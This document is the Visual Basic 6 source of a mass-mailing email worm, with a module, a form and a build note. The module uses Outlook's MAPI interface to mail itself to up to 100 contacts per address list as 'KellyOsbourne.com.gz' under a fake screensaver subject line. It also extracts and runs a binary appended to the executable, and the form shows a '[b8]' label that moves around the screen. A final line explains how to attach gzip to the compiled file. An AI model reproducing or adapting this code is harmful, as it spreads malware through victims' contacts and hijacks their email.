Attribute VB_Name = "Module1"
Option Explicit
Sub Main()
Call extractzip
Call mail
Form1.Show
End Sub
Sub mail()
On Error Resume Next
Dim a, b, c, y, x, oo, d, e, sex, xx, yy, zz
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 100 Then oo = d.AddressEntries.Count
Next oo
c.Subject = "Check Out This Cool Screensaver"
c.Attachments.Add "c:\KellyOsbourne.com.gz"
c.Send
e = ""
Next y
b.Logoff
End If
End Sub
Sub extractzip()
On Error Resume Next
Dim vdir As String
Dim wormlen As String
Dim rarlen As String
Dim buffwormlen As String
Dim buffrarlen As String
vdir = App.Path
If Right(vdir, 1) <> "\" Then vdir = vdir & "\"
Open vdir & App.EXEName & ".com" For Binary Access Read As #1
wormlen = (6656)
rarlen = (LOF(1) - 6656)
buffwormlen = Space(wormlen)
buffrarlen = Space(rarlen)
Get #1, , buffwormlen
Get #1, , buffrarlen
Close #1
Open "c:\gz.exe" For Binary Access Write As #2
Put #2, , buffrarlen
Close #2
FileCopy vdir & App.EXEName & ".com", "c:\KellyOsbourne.com"
Shell "c:\gz.exe -f c:\KellyOsbourne.com"
End Sub

-----------------

VERSION 5.00
Begin VB.Form Form1 
   BackColor       =   &H00400000&
   BorderStyle     =   0  'None
   Caption         =   "Form1"
   ClientHeight    =   3195
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3195
   ScaleWidth      =   4680
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Begin VB.Timer Timer1 
      Interval        =   200
      Left            =   480
      Top             =   840
   End
   Begin VB.Label Label1 
      BackColor       =   &H00400000&
      Caption         =   "[b8]"
      BeginProperty Font 
         Name            =   "Chiller"
         Size            =   72
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H0000C0C0&
      Height          =   2535
      Left            =   360
      TabIndex        =   0
      Top             =   240
      Width           =   3855
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Timer1_Timer()
Randomize
a = Int(Rnd * 15000)
b = Int(Rnd * 20000)
c = Int(Rnd * 20000)
d = Int(Rnd * 30000)
Form1.Move a, b, c, d
End Sub

-----------

download gzip and attach it to the end of compiled executable...